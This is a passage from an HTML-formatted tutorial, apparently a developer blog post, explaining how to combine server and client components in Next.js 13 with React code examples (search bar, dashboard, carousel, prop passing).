        &lt;span class="nx"&gt;onChange&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setSearchTerm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
        &lt;span class="nx"&gt;placeholder&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Search...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
      &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Searching&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;searchTerm&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/p&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SearchBar is interactive, so it needs to be a client component. You can use the useState hook and other React hooks only in client components.&lt;/p&gt;

&lt;p&gt;You might have a use-case to combine Server and Client Components, so let's talk on how to do that next:&lt;/p&gt;

&lt;h2&gt;
  
  
  Combining Server and Client Components
&lt;/h2&gt;

&lt;p&gt;A core strength of Next.js 13 is the ability to combine server and client components. A best practice is to use server components by default and push client components as deep as possible into your component tree.&lt;/p&gt;

&lt;h4&gt;
  
  
  Example: Combining Server and Client Components
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/layout.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;SearchBar&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/SearchBar&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Layout&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;My&lt;/span&gt; &lt;span class="nx"&gt;Blog&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/header&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;SearchBar&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;  &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/* Client component for interactivity */&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SearchBar component handles client-side interactivity, while the rest of the layout is server-rendered, offering a balance between performance and interactivity.&lt;/p&gt;

&lt;p&gt;On the other-way round, you might have a use-case to use server component inside a client component. Let's check out how to do that.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Use Server Components Inside Client Components
&lt;/h2&gt;

&lt;p&gt;It’s important to understand that server components can be nested inside client components, but not imported directly into them. To include a server component in a client component, you pass it as children or a prop to avoid breaking the boundary between the two.&lt;/p&gt;

&lt;h4&gt;
  
  
  Example: Passing a Server Component to a Client Component
&lt;/h4&gt;

&lt;p&gt;Here’s a real-world example where a server component is passed as a child to a client component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/components/Profile.js (Server Component)&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Profile&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h2&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h2&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/p&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// app/components/Dashboard.js (Client Component)&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Dashboard&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;showProfile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setShowProfile&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setShowProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;showProfile&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;showProfile&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hide Profile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Show Profile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/button&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;showProfile&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;children&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&amp;gt;} {/&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;Server&lt;/span&gt; &lt;span class="nx"&gt;component&lt;/span&gt; &lt;span class="nx"&gt;passed&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;children&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;}
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// app/page.js (Main Page using both components)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Profile&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/Profile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Dashboard&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/Dashboard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;John Doe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;john@example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;  &lt;span class="c1"&gt;// Static example&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Dashboard&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Profile&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt;  {/&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;Passing&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="nx"&gt;component&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;}
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Dashboard&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Profile&lt;/strong&gt; is a server component, fetching data or displaying static content.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dashboard&lt;/strong&gt; is a client component handling interactions (showing/hiding the profile).&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Profile&lt;/strong&gt; server component is passed as children to the Dashboard client component.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This pattern allows you to use the benefits of server rendering (less JavaScript, improved performance) while still having client-side interactivity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Third-Party Libraries and Client Components
&lt;/h2&gt;

&lt;p&gt;Many third-party libraries like authentication providers or UI components rely on React hooks, which can only be used in client components. Here’s how you can work around that limitation by wrapping third-party libraries inside client components:&lt;/p&gt;

&lt;h4&gt;
  
  
  Example: Using a Third-Party Carousel
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/components/Carousel.js&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Carousel&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react-slick&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;MyCarousel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;dots&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;infinite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Carousel&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h3&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Slide&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h3&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h3&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Slide&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h3&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/Carousel&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// app/page.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;MyCarousel&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/Carousel&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Welcome&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;MyCarousel&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By wrapping the third-party react-slick carousel in a client component, we can use it in the server-rendered page while still accessing client-side features like interactivity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Handling Props Between Server and Client Components
&lt;/h2&gt;

&lt;p&gt;When passing data between server and client components, the props must be serializable (e.g., strings, numbers, booleans). Complex objects like functions or instances of classes can’t be passed.&lt;/p&gt;

&lt;h4&gt;
  
  
  Example: Passing Data from Server to Client
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/page.js (Server Component)&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;UserCard&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/UserCard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Jane Doe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;  &lt;span class="c1"&gt;// Simple serializable data&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Welcome&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;the&lt;/span&gt; &lt;span class="nx"&gt;App&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h1&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;UserCard&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="sr"&gt;/&amp;gt;  {/&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;Passing&lt;/span&gt; &lt;span class="nx"&gt;serializable&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="nx"&gt;to&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="nx"&gt;component&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="err"&gt;}
&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// app/components/UserCard.js (Client Component)&lt;/span&gt;
&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;UserCard&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;h2&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/h2&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;Age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;age&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/p&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
